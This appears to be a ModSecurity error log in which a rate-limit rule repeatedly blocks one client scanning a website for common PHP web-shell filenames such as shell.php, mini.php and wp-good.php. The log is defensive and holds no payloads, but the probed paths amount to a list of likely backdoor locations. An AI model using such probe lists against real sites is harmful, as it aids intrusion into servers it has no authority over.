[Wed Apr 15 19:22:56.883100 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:7130] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad91EHg-gnM2Ga0cGAAI4QAAAQk"]
[Wed Apr 15 19:22:57.385210 2026] [:error] [pid 37370:tid 37385] [client 168.63.72.46:7051] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad91EXg-gnM2Ga0cGAAI5gAAAQ0"]
[Wed Apr 15 19:22:57.926523 2026] [:error] [pid 30956:tid 30979] [client 168.63.72.46:7147] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad91EUBGUpjaWntNYq1hgwAAABM"]
[Wed Apr 15 19:22:58.426532 2026] [:error] [pid 30957:tid 30998] [client 168.63.72.46:7110] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad91En5gwVEVXHfVSipxmwAAAEk"]
[Wed Apr 15 19:22:58.955001 2026] [:error] [pid 30957:tid 31003] [client 168.63.72.46:7101] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad91En5gwVEVXHfVSipxnwAAAE4"]
[Wed Apr 15 19:22:59.455078 2026] [:error] [pid 30957:tid 30995] [client 168.63.72.46:7048] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad91E35gwVEVXHfVSipxoQAAAEY"]
[Wed Apr 15 19:22:59.957164 2026] [:error] [pid 30956:tid 30975] [client 168.63.72.46:7040] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad91E0BGUpjaWntNYq1hhQAAAA8"]
[Wed Apr 15 19:23:00.462688 2026] [:error] [pid 37370:tid 37378] [client 168.63.72.46:7157] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad91FHg-gnM2Ga0cGAAI7wAAAQY"]
[Wed Apr 15 19:23:00.968142 2026] [:error] [pid 31053:tid 31074] [client 168.63.72.46:7162] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad91FBcEkLCmvF0fjDetvAAAAJI"]
[Wed Apr 15 19:23:01.488012 2026] [:error] [pid 30956:tid 30974] [client 168.63.72.46:7059] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad91FUBGUpjaWntNYq1hhgAAAA4"]
[Wed Apr 15 19:23:02.001156 2026] [:error] [pid 37370:tid 37380] [client 168.63.72.46:7120] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad91Fng-gnM2Ga0cGAAI9QAAAQg"]
[Wed Apr 15 19:23:02.508711 2026] [:error] [pid 37370:tid 37379] [client 168.63.72.46:7108] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad91Fng-gnM2Ga0cGAAI9wAAAQc"]
[Wed Apr 15 19:23:03.011223 2026] [:error] [pid 30957:tid 31012] [client 168.63.72.46:7156] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad91F35gwVEVXHfVSipxowAAAFc"]
[Wed Apr 15 19:23:03.512109 2026] [:error] [pid 37370:tid 37389] [client 168.63.72.46:7062] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad91F3g-gnM2Ga0cGAAI_gAAARE"]
[Wed Apr 15 19:23:04.032327 2026] [:error] [pid 37370:tid 37377] [client 168.63.72.46:7095] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad91GHg-gnM2Ga0cGAAJAwAAAQU"]
[Wed Apr 15 19:23:04.530303 2026] [:error] [pid 37370:tid 37383] [client 168.63.72.46:7134] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad91GHg-gnM2Ga0cGAAJBQAAAQs"]
[Wed Apr 15 19:23:05.030361 2026] [:error] [pid 31053:tid 31059] [client 168.63.72.46:7073] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad91GRcEkLCmvF0fjDetwAAAAIM"]
[Wed Apr 15 19:23:05.530338 2026] [:error] [pid 31053:tid 31068] [client 168.63.72.46:6995] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad91GRcEkLCmvF0fjDetwQAAAIw"]
[Wed Apr 15 19:23:06.033646 2026] [:error] [pid 37370:tid 37373] [client 168.63.72.46:7052] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad91Gng-gnM2Ga0cGAAJDQAAAQE"]
[Wed Apr 15 19:23:06.533177 2026] [:error] [pid 37370:tid 37390] [client 168.63.72.46:7161] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad91Gng-gnM2Ga0cGAAJEAAAARI"]
[Wed Apr 15 19:23:07.046943 2026] [:error] [pid 30958:tid 31018] [client 168.63.72.46:7106] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad91G8eG3wSKTO7NWFGOHAAAAMI"]
[Wed Apr 15 19:23:07.555806 2026] [:error] [pid 31053:tid 31078] [client 168.63.72.46:7109] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad91GxcEkLCmvF0fjDetwwAAAJY"]
[Wed Apr 15 19:23:08.092658 2026] [:error] [pid 30958:tid 31038] [client 168.63.72.46:7072] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad91HMeG3wSKTO7NWFGOHgAAANY"]
[Wed Apr 15 19:23:08.593563 2026] [:error] [pid 30958:tid 31040] [client 168.63.72.46:7124] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad91HMeG3wSKTO7NWFGOIAAAANg"]
[Wed Apr 15 19:23:09.093994 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:6916] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad91HX5gwVEVXHfVSipxpQAAAFE"]
[Wed Apr 15 19:23:09.603728 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:6985] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad91HXg-gnM2Ga0cGAAJGAAAAQk"]
[Wed Apr 15 19:23:10.110671 2026] [:error] [pid 30958:tid 31025] [client 168.63.72.46:7060] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad91HseG3wSKTO7NWFGOJQAAAMk"]
[Wed Apr 15 19:23:10.611637 2026] [:error] [pid 31053:tid 31066] [client 168.63.72.46:7067] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad91HhcEkLCmvF0fjDetxAAAAIo"]
[Wed Apr 15 19:23:11.114028 2026] [:error] [pid 30957:tid 30993] [client 168.63.72.46:7000] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad91H35gwVEVXHfVSipxqAAAAEQ"]
[Wed Apr 15 19:23:11.617110 2026] [:error] [pid 30958:tid 31030] [client 168.63.72.46:7066] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad91H8eG3wSKTO7NWFGOJgAAAM4"]
[Wed Apr 15 19:23:12.114992 2026] [:error] [pid 37370:tid 37376] [client 168.63.72.46:7098] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad91IHg-gnM2Ga0cGAAJHwAAAQQ"]
[Wed Apr 15 19:23:12.636262 2026] [:error] [pid 37370:tid 37387] [client 168.63.72.46:7045] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad91IHg-gnM2Ga0cGAAJIAAAAQ8"]
[Wed Apr 15 19:23:13.141463 2026] [:error] [pid 37370:tid 37384] [client 168.63.72.46:7002] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad91IXg-gnM2Ga0cGAAJIwAAAQw"]
[Wed Apr 15 19:23:13.672170 2026] [:error] [pid 37370:tid 37374] [client 168.63.72.46:7102] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad91IXg-gnM2Ga0cGAAJJAAAAQI"]
[Wed Apr 15 19:23:14.170864 2026] [:error] [pid 30956:tid 30978] [client 168.63.72.46:7129] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad91IkBGUpjaWntNYq1hjQAAABI"]
[Wed Apr 15 19:23:14.681589 2026] [:error] [pid 30957:tid 30998] [client 168.63.72.46:7166] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad91In5gwVEVXHfVSipxqQAAAEk"]
[Wed Apr 15 19:23:15.181082 2026] [:error] [pid 30956:tid 30972] [client 168.63.72.46:6987] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad91I0BGUpjaWntNYq1hkQAAAAw"]
[Wed Apr 15 19:23:15.701184 2026] [:error] [pid 31053:tid 31063] [client 168.63.72.46:7096] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad91IxcEkLCmvF0fjDetyQAAAIc"]
[Wed Apr 15 19:23:16.202297 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:7152] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad91JBcEkLCmvF0fjDetzAAAAI0"]
[Wed Apr 15 19:23:16.725864 2026] [:error] [pid 31053:tid 31078] [client 168.63.72.46:6988] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad91JBcEkLCmvF0fjDetzgAAAJY"]
[Wed Apr 15 19:23:17.230761 2026] [:error] [pid 31053:tid 31062] [client 168.63.72.46:7164] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad91JRcEkLCmvF0fjDet0QAAAIY"]
[Wed Apr 15 19:23:17.734382 2026] [:error] [pid 31053:tid 31080] [client 168.63.72.46:7083] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad91JRcEkLCmvF0fjDet1AAAAJg"]
[Wed Apr 15 19:23:18.241417 2026] [:error] [pid 30958:tid 31018] [client 168.63.72.46:7089] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad91JseG3wSKTO7NWFGOKwAAAMI"]
[Wed Apr 15 19:23:18.771572 2026] [:error] [pid 30956:tid 30984] [client 168.63.72.46:7135] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad91JkBGUpjaWntNYq1hmAAAABg"]
[Wed Apr 15 19:23:19.272362 2026] [:error] [pid 30956:tid 30971] [client 168.63.72.46:6983] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad91J0BGUpjaWntNYq1hmQAAAAs"]
[Wed Apr 15 19:23:19.773968 2026] [:error] [pid 30958:tid 31036] [client 168.63.72.46:7028] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad91J8eG3wSKTO7NWFGOLQAAANQ"]
[Wed Apr 15 19:23:20.275274 2026] [:error] [pid 30956:tid 30978] [client 168.63.72.46:7064] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad91KEBGUpjaWntNYq1hnAAAABI"]
[Wed Apr 15 19:23:20.777400 2026] [:error] [pid 37370:tid 37383] [client 168.63.72.46:7148] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad91KHg-gnM2Ga0cGAAJJwAAAQs"]
[Wed Apr 15 19:23:21.277120 2026] [:error] [pid 37370:tid 37380] [client 168.63.72.46:7008] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad91KXg-gnM2Ga0cGAAJKAAAAQg"]
[Wed Apr 15 19:23:21.781389 2026] [:error] [pid 37370:tid 37390] [client 168.63.72.46:7094] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad91KXg-gnM2Ga0cGAAJKgAAARI"]
[Wed Apr 15 19:23:22.279890 2026] [:error] [pid 37370:tid 37375] [client 168.63.72.46:6979] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad91Kng-gnM2Ga0cGAAJLQAAAQM"]
[Wed Apr 15 19:23:22.797766 2026] [:error] [pid 37370:tid 37379] [client 168.63.72.46:7081] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad91Kng-gnM2Ga0cGAAJMAAAAQc"]
[Wed Apr 15 19:23:23.303927 2026] [:error] [pid 31053:tid 31068] [client 168.63.72.46:6999] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad91KxcEkLCmvF0fjDet2gAAAIw"]
[Wed Apr 15 19:23:23.830694 2026] [:error] [pid 37370:tid 37376] [client 168.63.72.46:7165] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad91K3g-gnM2Ga0cGAAJNAAAAQQ"]
[Wed Apr 15 19:23:24.337128 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:6917] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad91LHg-gnM2Ga0cGAAJOQAAAQk"]
[Wed Apr 15 19:23:24.842978 2026] [:error] [pid 30957:tid 31013] [client 168.63.72.46:6992] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad91LH5gwVEVXHfVSipxrwAAAFg"]
